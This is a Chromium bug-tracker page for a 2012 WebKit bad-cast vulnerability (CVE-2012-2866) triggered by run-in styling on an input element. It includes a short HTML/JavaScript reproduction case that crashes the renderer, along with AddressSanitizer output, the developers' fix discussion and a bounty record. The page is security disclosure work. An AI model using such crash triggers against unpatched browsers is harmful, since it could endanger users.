New issue
Advanced search Search tips

Issue 134897 link

Starred by 1 user

Issue metadata

Status: Fixed
Owner:
Closed: Dec 2012
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: All
Pri: 1
Type: Bug-Security

Restricted
  • Only users with EditIssue permission may comment.



Sign in to add a comment

Bad cast with run-ins and <input>

Reported by miau...@gmail.com, Jun 27 2012

Issue description



VULNERABILITY DETAILS
jumps to 0

==11019== ERROR: AddressSanitizer crashed on unknown address 0x000000000000 (pc 0x000000000000 sp 0x7fffffff87d8 bp 0x7fffffff87f0 T0)
AddressSanitizer can not provide additional info. ABORTING

VERSION
Chrome Version: stable + dev

Chromium	22.0.1189.0 (Developer Build 144460)
OS	Linux
WebKit	537.1 (@121326)

Operating System: 64bit precise

REPRODUCTION CASE
<html>
  <head>
    <style>
      #el0 { -webkit-appearance: inherit; }
      .c0 { display: run-in; }
    </style>
    <script>
      onload = function() {
        el0=document.createElement('input')
        el0.setAttribute('id','el0')
        document.body.appendChild(el0)
        document.body.appendChild(document.createElement('div'))
        document.body.offsetTop
        el0.setAttribute('class', 'c0')
      }
    </script>
  </head>
  <body>
  </body>
</html>

FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION
Type of crash: renderer + asan
Crash State: 

==11019== ERROR: AddressSanitizer crashed on unknown address 0x000000000000 (pc 0x000000000000 sp 0x7fffffff87d8 bp 0x7fffffff87f0 T0)
AddressSanitizer can not provide additional info. ABORTING

 
zero.html
473 bytes View Download
Summary: Bad cast with run-ins and <input>
This is a known bug. We do have a webkit tracking bug for this - https://bugs.webkit.org/show_bug.cgi?id=87300. We needed to have a laundry list of tags that shouldn't run-in.
Labels: -Pri-0 -Area-Undefined Pri-1 Area-WebKit SecImpacts-Stable SecImpacts-Beta SecSeverity-High OS-All Stability-AddressSanitizer Mstone-19
Status: Available

Comment 3 by jsc...@chromium.org, Jun 29 2012

Labels: -Mstone-19 Mstone-20
Bulk Edit: m20 is shipped. Rolling open m19 bugs forward.
 Issue 139217  has been merged into this issue.
Cc: shinyak@chromium.org
Owner: tkent@chromium.org
Status: Assigned
Kent-san, we are working to add a list of tags that shouldn't run-in in upstream bug. But since the spec is not clear and the bug is stalled.

This bug however is actually pointing the issue from http://trac.webkit.org/changeset/87067.
PassRefPtr<RenderStyle> TextControlInnerTextElement::customStyleForRenderer()
{
    RenderTextControl* parentRenderer = toRenderTextControl(shadowAncestorNode()->renderer());
    return parentRenderer->createInnerTextStyle(parentRenderer->style());
}

I think we should be verifying the type of renderer before doing the static cast. Can you please help to fix this or help with an owner. 
Labels: -Mstone-20 Mstone-21
Labels: Security-CodeYellow
Please do read Mark's email titled "Code Yellow: Security Bug Backlog" on chrome-team mailing list.

Comment 8 by tkent@chromium.org, Aug 2 2012

Status: Started
> I think we should be verifying the type of renderer before doing the static cast. Can you please help to fix this or help with an owner. 

I tried it, and I found input[type=text} with run-in was completely useless.  So I think blacklisting like <progress> and <select> is better.

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify Merge-Approved
Status: FixUnreleased
Thanks a lot Kent. you are our Hero!

http://trac.webkit.org/changeset/124556
Labels: reward-topanel
Labels: -reward-topanel reward-1000 reward-unpaid
@miaubiz: nice bad cast. $1000
Labels: -Merge-Approved Merge-Merged
M21: http://trac.webkit.org/changeset/126632
Labels: CVE-2012-2866
Labels: -reward-unpaid
Project Member

Comment 15 by bugdroid1@chromium.org, Oct 14 2012

Labels: Restrict-AddIssueComment-Commit
This issue has been closed for some time. No one will pay attention to new comments.
If you are seeing this bug or have new data, please click New Issue to start a new bug.
Status: Fixed
Project Member

Comment 17 by bugdroid1@chromium.org, Mar 10 2013

Labels: -Type-Security -Area-WebKit -SecImpacts-Stable -SecImpacts-Beta -SecSeverity-High -Stability-AddressSanitizer -Mstone-21 Cr-Content Security-Impact-Stable Security-Impact-Beta M-21 Security-Severity-High Type-Bug-Security Performance-Memory-AddressSanitizer
Project Member

Comment 18 by bugdroid1@chromium.org, Mar 13 2013

Labels: Restrict-View-EditIssue
Project Member

Comment 19 by bugdroid1@chromium.org, Mar 14 2013

Labels: -Restrict-AddIssueComment-Commit Restrict-AddIssueComment-EditIssue
Labels: -Restrict-View-SecurityNotify -Restrict-View-EditIssue
Project Member

Comment 21 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Severity-High Security_Severity-High
Project Member

Comment 22 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Impact-Stable Security_Impact-Stable
Project Member

Comment 23 by bugdroid1@chromium.org, Mar 21 2013

Labels: -Security-Impact-Beta Security_Impact-Beta
Project Member

Comment 24 by bugdroid1@chromium.org, Apr 1 2013

Labels: -Performance-Memory-AddressSanitizer Stability-Memory-AddressSanitizer
Project Member

Comment 25 by bugdroid1@chromium.org, Apr 6 2013

Labels: -Cr-Content Cr-Blink
Project Member

Comment 26 by sheriffbot@chromium.org, Jun 14 2016

Labels: -security_impact-beta
Project Member

Comment 27 by sheriffbot@chromium.org, Oct 1 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member

Comment 28 by sheriffbot@chromium.org, Oct 2 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: allpublic
Labels: CVE_description-submitted

Sign in to add a comment